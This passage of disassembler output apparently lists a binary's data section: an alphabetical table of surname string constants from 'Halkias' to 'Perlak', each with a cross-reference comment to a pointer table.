aHalkias	db 'Halkias',0          ; DATA XREF: .data:00444A74o
aHallowell	db 'Hallowell',0        ; DATA XREF: .data:00444A78o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .data:00444A7Co
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .data:00444A80o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .data:00444A84o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .data:00444A88o
		align 10h
aHand		db 'Hand',0             ; DATA XREF: .data:00444A8Co
		align 4
aHanssen	db 'Hanssen',0          ; DATA XREF: .data:00444A90o
aHarding	db 'Harding',0          ; DATA XREF: .data:00444A94o
aHargraves	db 'Hargraves',0        ; DATA XREF: .data:00444A98o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .data:00444A9Co
		align 4
aHarrigan	db 'Harrigan',0         ; DATA XREF: .data:00444AA0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .data:00444AA4o
aHartmann	db 'Hartmann',0         ; DATA XREF: .data:00444AA8o
		align 4
aHartnett	db 'Hartnett',0         ; DATA XREF: .data:00444AACo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .data:00444AB0o
aHaviaras	db 'Haviaras',0         ; DATA XREF: .data:00444AB4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .data:00444AB8o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .data:00444ABCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .data:00444AC0o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .data:00444AC4o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: .data:00444AC8o
		align 4
aHeft		db 'Heft',0             ; DATA XREF: .data:00444ACCo
		align 4
aHeiland	db 'Heiland',0          ; DATA XREF: .data:00444AD0o
aHellman	db 'Hellman',0          ; DATA XREF: .data:00444AD4o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .data:00444AD8o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: .data:00444ADCo
aHemphill	db 'Hemphill',0         ; DATA XREF: .data:00444AE0o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .data:00444AE4o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .data:00444AE8o
		align 4
aHernandez	db 'Hernandez',0        ; DATA XREF: .data:00444AECo
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .data:00444AF0o
aHester		db 'Hester',0           ; DATA XREF: .data:00444AF4o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .data:00444AF8o
aHeyeck		db 'Heyeck',0           ; DATA XREF: .data:00444AFCo
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .data:00444B00o
		align 10h
aHind		db 'Hind',0             ; DATA XREF: .data:00444B04o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .data:00444B08o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .data:00444B0Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .data:00444B10o
		align 4
aHock		db 'Hock',0             ; DATA XREF: .data:00444B14o
		align 4
aHoffer		db 'Hoffer',0           ; DATA XREF: .data:00444B18o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .data:00444B1Co
aHokanson	db 'Hokanson',0         ; DATA XREF: .data:00444B20o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .data:00444B24o
		align 10h
aHolmes		db 'Holmes',0           ; DATA XREF: .data:00444B28o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .data:00444B2Co
aHolter		db 'Holter',0           ; DATA XREF: .data:00444B30o
		align 4
aHolway		db 'Holway',0           ; DATA XREF: .data:00444B34o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: .data:00444B38o
aHooker		db 'Hooker',0           ; DATA XREF: .data:00444B3Co
		align 10h
aHopkins	db 'Hopkins',0          ; DATA XREF: .data:00444B40o
aHorsley	db 'Horsley',0          ; DATA XREF: .data:00444B44o
aHoshida	db 'Hoshida',0          ; DATA XREF: .data:00444B48o
aHostage	db 'Hostage',0          ; DATA XREF: .data:00444B4Co
aHottle		db 'Hottle',0           ; DATA XREF: .data:00444B50o
		align 4
aHoward		db 'Howard',0           ; DATA XREF: .data:00444B54o
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: .data:00444B58o
aHuey		db 'Huey',0             ; DATA XREF: .data:00444B5Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .data:00444B60o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .data:00444B64o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .data:00444B68o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: .data:00444B6Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .data:00444B70o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .data:00444B74o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: .data:00444B78o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .data:00444B7Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .data:00444B80o
		align 10h
aIgarashi	db 'Igarashi',0         ; DATA XREF: .data:00444B84o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .data:00444B88o
aInniss		db 'Inniss',0           ; DATA XREF: .data:00444B8Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .data:00444B90o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .data:00444B94o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: .data:00444B98o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .data:00444B9Co
		align 4
aIyer		db 'Iyer',0             ; DATA XREF: .data:00444BA0o
		align 4
aJacenko	db 'Jacenko',0          ; DATA XREF: .data:00444BA4o
aJackson	db 'Jackson',0          ; DATA XREF: .data:00444BA8o
aJagers		db 'Jagers',0           ; DATA XREF: .data:00444BACo
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .data:00444BB0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .data:00444BB4o
		align 4
aJain		db 'Jain',0             ; DATA XREF: .data:00444BB8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .data:00444BBCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .data:00444BC0o
		align 10h
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .data:00444BC4o
		align 4
aJarrell	db 'Jarrell',0          ; DATA XREF: .data:00444BC8o
aJay		db 'Jay',0              ; DATA XREF: .data:00444BCCo
aJeffers	db 'Jeffers',0          ; DATA XREF: .data:00444BD0o
aJellis		db 'Jellis',0           ; DATA XREF: .data:00444BD4o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .data:00444BD8o
aJespersen	db 'Jespersen',0        ; DATA XREF: .data:00444BDCo
		align 4
aJewett		db 'Jewett',0           ; DATA XREF: .data:00444BE0o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .data:00444BE4o
aJohannsen	db 'Johannsen',0        ; DATA XREF: .data:00444BE8o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .data:00444BECo
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .data:00444BF0o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .data:00444BF4o
		align 4
aJucks		db 'Jucks',0            ; DATA XREF: .data:00444BF8o
		align 10h
aJuliano	db 'Juliano',0          ; DATA XREF: .data:00444BFCo
aJulious	db 'Julious',0          ; DATA XREF: .data:00444C00o
aKabbash	db 'Kabbash',0          ; DATA XREF: .data:00444C04o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .data:00444C08o
		align 4
aKafadar	db 'Kafadar',0          ; DATA XREF: .data:00444C0Co
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .data:00444C10o
aKaligian	db 'Kaligian',0         ; DATA XREF: .data:00444C14o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .data:00444C18o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .data:00444C1Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .data:00444C20o
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: .data:00444C24o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .data:00444C28o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .data:00444C2Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .data:00444C30o
		align 4
aKasten		db 'Kasten',0           ; DATA XREF: .data:00444C34o
		align 10h
aKawachi	db 'Kawachi',0          ; DATA XREF: .data:00444C38o
aKee		db 'Kee',0              ; DATA XREF: .data:00444C3Co
aKeenan		db 'Keenan',0           ; DATA XREF: .data:00444C40o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .data:00444C44o
aKeith		db 'Keith',0            ; DATA XREF: .data:00444C48o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .data:off_444C4Co
		align 4
aKelsey		db 'Kelsey',0           ; DATA XREF: .data:00444C50o
		align 4
aKempton	db 'Kempton',0          ; DATA XREF: .data:00444C54o
aKemsley	db 'Kemsley',0          ; DATA XREF: .data:00444C58o
aKendall	db 'Kendall',0          ; DATA XREF: .data:00444C5Co
aKerry		db 'Kerry',0            ; DATA XREF: .data:00444C60o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .data:00444C64o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .data:00444C68o
		align 4
aKimmel		db 'Kimmel',0           ; DATA XREF: .data:00444C6Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .data:00444C70o
aKimura		db 'Kimura',0           ; DATA XREF: .data:00444C74o
		align 4
aKindall	db 'Kindall',0          ; DATA XREF: .data:00444C78o
aKinsley	db 'Kinsley',0          ; DATA XREF: .data:00444C7Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .data:00444C80o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .data:00444C84o
aKittridge	db 'Kittridge',0        ; DATA XREF: .data:00444C88o
		align 10h
aKleckner	db 'Kleckner',0         ; DATA XREF: .data:00444C8Co
		align 4
aKleiman	db 'Kleiman',0          ; DATA XREF: .data:00444C90o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .data:00444C94o
aKlemperer	db 'Klemperer',0        ; DATA XREF: .data:00444C98o
		align 4
aKling		db 'Kling',0            ; DATA XREF: .data:00444C9Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .data:00444CA0o
aKlint		db 'Klint',0            ; DATA XREF: .data:00444CA4o
		align 4
aKnuff		db 'Knuff',0            ; DATA XREF: .data:00444CA8o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: .data:00444CACo
aKoch		db 'Koch',0             ; DATA XREF: .data:00444CB0o
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: .data:00444CB4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .data:00444CB8o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .data:00444CBCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .data:00444CC0o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .data:00444CC4o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: .data:00444CC8o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .data:00444CCCo
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .data:00444CD0o
		align 4
aKovaks		db 'Kovaks',0           ; DATA XREF: .data:00444CD4o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .data:00444CD8o
aKrailo		db 'Krailo',0           ; DATA XREF: .data:00444CDCo
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .data:00444CE0o
aKraus		db 'Kraus',0            ; DATA XREF: .data:00444CE4o
		align 4
aKroemer	db 'Kroemer',0          ; DATA XREF: .data:00444CE8o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .data:00444CECo
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .data:00444CF0o
aKumar		db 'Kumar',0            ; DATA XREF: .data:00444CF4o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .data:00444CF8o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .data:00444CFCo
		align 4
aLa		db 'La',0               ; DATA XREF: .data:00444D00o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .data:00444D04o
aLafler		db 'Lafler',0           ; DATA XREF: .data:00444D08o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .data:00444D0Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .data:00444D10o
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: .data:00444D14o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .data:00444D18o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: .data:00444D1Co
		align 4
aLanzit		db 'Lanzit',0           ; DATA XREF: .data:00444D20o
		align 4
aLaserna	db 'Laserna',0          ; DATA XREF: .data:00444D24o
aLashley	db 'Lashley',0          ; DATA XREF: .data:00444D28o
aLawless	db 'Lawless',0          ; DATA XREF: .data:00444D2Co
aLecar		db 'Lecar',0            ; DATA XREF: .data:00444D30o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .data:00444D34o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .data:00444D38o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .data:00444D3Co
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: .data:00444D40o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .data:00444D44o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .data:00444D48o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .data:00444D4Co
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .data:00444D50o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .data:00444D54o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .data:00444D58o
		align 4
aLight		db 'Light',0            ; DATA XREF: .data:00444D5Co
		align 4
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .data:00444D60o
		align 10h
aLim		db 'Lim',0              ; DATA XREF: .data:00444D64o
aLinares	db 'Linares',0          ; DATA XREF: .data:00444D68o
aLinda		db 'Linda',0            ; DATA XREF: .data:00444D6Co
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .data:00444D70o
		align 4
aLine_0		db 'Line',0             ; DATA XREF: .data:00444D74o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .data:00444D78o
aLinzee		db 'Linzee',0           ; DATA XREF: .data:00444D7Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .data:00444D80o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: .data:00444D84o
		align 4
aLittle		db 'Little',0           ; DATA XREF: .data:00444D88o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .data:00444D8Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .data:00444D90o
		align 4
aLivi		db 'Livi',0             ; DATA XREF: .data:00444D94o
		align 10h
aLivolsi	db 'Livolsi',0          ; DATA XREF: .data:00444D98o
aLizardo	db 'Lizardo',0          ; DATA XREF: .data:00444D9Co
aLocatelli	db 'Locatelli',0        ; DATA XREF: .data:00444DA0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .data:00444DA4o
		align 4
aLoss		db 'Loss',0             ; DATA XREF: .data:00444DA8o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: .data:00444DACo
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .data:00444DB0o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .data:00444DB4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .data:00444DB8o
		align 4
aLucas		db 'Lucas',0            ; DATA XREF: .data:00444DBCo
		align 4
aLuciano	db 'Luciano',0          ; DATA XREF: .data:00444DC0o
aLuczkow	db 'Luczkow',0          ; DATA XREF: .data:00444DC4o
aLuecke		db 'Luecke',0           ; DATA XREF: .data:00444DC8o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .data:00444DCCo
aLuoma		db 'Luoma',0            ; DATA XREF: .data:00444DD0o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .data:00444DD4o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .data:00444DD8o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .data:00444DDCo
aMa		db 'Ma',0               ; DATA XREF: .data:00444DE0o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: .data:00444DE4o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: .data:00444DE8o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .data:00444DECo
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .data:00444DF0o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: .data:00444DF4o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: .data:00444DF8o
		align 4
aMacy		db 'Macy',0             ; DATA XREF: .data:00444DFCo
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: .data:00444E00o
aMaggio		db 'Maggio',0           ; DATA XREF: .data:00444E04o
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: .data:00444E08o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .data:00444E0Co
		align 4
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .data:00444E10o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: .data:00444E14o
aMalatesta	db 'Malatesta',0        ; DATA XREF: .data:00444E18o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .data:00444E1Co
		align 10h
aMalova		db 'Malova',0           ; DATA XREF: .data:00444E20o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .data:00444E24o
aMandel		db 'Mandel',0           ; DATA XREF: .data:00444E28o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .data:00444E2Co
aMantovan	db 'Mantovan',0         ; DATA XREF: .data:00444E30o
		align 10h
aMarch_0	db 'March',0            ; DATA XREF: .data:00444E34o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .data:00444E38o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: .data:00444E3Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .data:00444E40o
		align 4
aMargetts	db 'Margetts',0         ; DATA XREF: .data:00444E44o
		align 4
aMarques	db 'Marques',0          ; DATA XREF: .data:00444E48o
aMartinez	db 'Martinez',0         ; DATA XREF: .data:00444E4Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .data:00444E50o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: .data:00444E54o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .data:00444E58o
		align 4
aMass		db 'Mass',0             ; DATA XREF: .data:00444E5Co
		align 10h
aMatalka	db 'Matalka',0          ; DATA XREF: .data:00444E60o
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .data:00444E64o
		align 4
aMatsukata	db 'Matsukata',0        ; DATA XREF: .data:00444E68o
		align 10h
aMattson	db 'Mattson',0          ; DATA XREF: .data:00444E6Co
aMauzy		db 'Mauzy',0            ; DATA XREF: .data:00444E70o
		align 10h
aMay_0		db 'May',0              ; DATA XREF: .data:00444E74o
aMazzali	db 'Mazzali',0          ; DATA XREF: .data:00444E78o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .data:00444E7Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .data:00444E80o
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .data:00444E84o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .data:00444E88o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .data:00444E8Co
		align 10h
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .data:00444E90o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .data:00444E94o
aMcfadden	db 'McFadden',0         ; DATA XREF: .data:00444E98o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: .data:00444E9Co
		align 4
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .data:00444EA0o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: .data:00444EA4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .data:00444EA8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .data:00444EACo
aMclane		db 'Mclane',0           ; DATA XREF: .data:00444EB0o
		align 4
aMclaren	db 'Mclaren',0          ; DATA XREF: .data:00444EB4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .data:00444EB8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .data:00444EBCo
aMeccariello	db 'Meccariello',0      ; DATA XREF: .data:00444EC0o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .data:00444EC4o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .data:00444EC8o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .data:00444ECCo
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .data:00444ED0o
aMerminod	db 'Merminod',0         ; DATA XREF: .data:00444ED4o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: .data:00444ED8o
aMerz		db 'Merz',0             ; DATA XREF: .data:00444EDCo
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: .data:00444EE0o
aMetropolis	db 'Metropolis',0       ; DATA XREF: .data:00444EE4o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: .data:00444EE8o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .data:00444EECo
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .data:00444EF0o
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: .data:00444EF4o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .data:00444EF8o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: .data:00444EFCo
		align 4
aMini		db 'Mini',0             ; DATA XREF: .data:00444F00o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: .data:00444F04o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .data:00444F08o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .data:00444F0Co
aMittal		db 'Mittal',0           ; DATA XREF: .data:00444F10o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .data:00444F14o
aModestino	db 'Modestino',0        ; DATA XREF: .data:00444F18o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: .data:00444F1Co
aMohr		db 'Mohr',0             ; DATA XREF: .data:00444F20o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .data:00444F24o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .data:00444F28o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .data:00444F2Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .data:00444F30o
		align 4
aMorani		db 'Morani',0           ; DATA XREF: .data:00444F34o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .data:00444F38o
aMorrison	db 'Morrison',0         ; DATA XREF: .data:00444F3Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .data:00444F40o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: .data:00444F44o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .data:00444F48o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .data:00444F4Co
		align 4
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .data:00444F50o
		align 4
aMotooka	db 'Motooka',0          ; DATA XREF: .data:00444F54o
aMudarri	db 'Mudarri',0          ; DATA XREF: .data:00444F58o
aMuello		db 'Muello',0           ; DATA XREF: .data:00444F5Co
		align 10h
aMugnai		db 'Mugnai',0           ; DATA XREF: .data:00444F60o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .data:00444F64o
aMulroy		db 'Mulroy',0           ; DATA XREF: .data:00444F68o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .data:00444F6Co
aMussachio	db 'Mussachio',0        ; DATA XREF: .data:00444F70o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .data:00444F74o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .data:00444F78o
		align 10h
aNardi		db 'Nardi',0            ; DATA XREF: .data:00444F7Co
		align 4
aNardone	db 'Nardone',0          ; DATA XREF: .data:00444F80o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .data:00444F84o
aNayduch	db 'Nayduch',0          ; DATA XREF: .data:00444F88o
aNelson		db 'Nelson',0           ; DATA XREF: .data:00444F8Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .data:00444F90o
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: .data:00444F94o
		align 4
aNeuman		db 'Neuman',0           ; DATA XREF: .data:00444F98o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: .data:00444F9Co
aNewlin		db 'Newlin',0           ; DATA XREF: .data:00444FA0o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: .data:00444FA4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .data:00444FA8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .data:00444FACo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .data:00444FB0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: .data:00444FB4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .data:00444FB8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .data:00444FBCo
		align 10h
aNuzum		db 'Nuzum',0            ; DATA XREF: .data:00444FC0o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .data:00444FC4o
aOgata		db 'Ogata',0            ; DATA XREF: .data:00444FC8o
		align 4
aOh		db 'Oh',0               ; DATA XREF: .data:00444FCCo
		align 4
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .data:00444FD0o
aOldford	db 'Oldford',0          ; DATA XREF: .data:00444FD4o
aOlsen		db 'Olsen',0            ; DATA XREF: .data:00444FD8o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .data:00444FDCo
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .data:00444FE0o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .data:00444FE4o
		align 4
aOman		db 'Oman',0             ; DATA XREF: .data:00444FE8o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .data:00444FECo
aOpel		db 'Opel',0             ; DATA XREF: .data:00444FF0o
		align 4
aOray		db 'Oray',0             ; DATA XREF: .data:00444FF4o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .data:00444FF8o
aOrsi		db 'Orsi',0             ; DATA XREF: .data:00444FFCo
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .data:00445000o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .data:00445004o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .data:00445008o
		align 4
aOtten		db 'Otten',0            ; DATA XREF: .data:0044500Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .data:00445010o
aOvid		db 'Ovid',0             ; DATA XREF: .data:00445014o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .data:00445018o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .data:0044501Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .data:00445020o
		align 10h
aPalepu		db 'Palepu',0           ; DATA XREF: .data:00445024o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .data:00445028o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .data:0044502Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .data:00445030o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: .data:00445034o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .data:00445038o
		align 10h
aPaoletti	db 'Paoletti',0         ; DATA XREF: .data:0044503Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .data:00445040o
aParris		db 'Parris',0           ; DATA XREF: .data:00445044o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: .data:00445048o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .data:0044504Co
		align 4
aPatefield	db 'Patefield',0        ; DATA XREF: .data:00445050o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: .data:00445054o
aPattullo	db 'Pattullo',0         ; DATA XREF: .data:00445058o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .data:0044505Co
aPavlon		db 'Pavlon',0           ; DATA XREF: .data:00445060o
		align 4
aPawloski	db 'Pawloski',0         ; DATA XREF: .data:00445064o
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: .data:00445068o
aPeabody	db 'Peabody',0          ; DATA XREF: .data:0044506Co
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .data:00445070o
		align 10h
aPederson	db 'Pederson',0         ; DATA XREF: .data:00445074o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: .data:00445078o
aPenny		db 'Penny',0            ; DATA XREF: .data:0044507Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: .data:00445080o
aPerko		db 'Perko',0            ; DATA XREF: .data:00445084o
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: .data:00445088o
		align 4
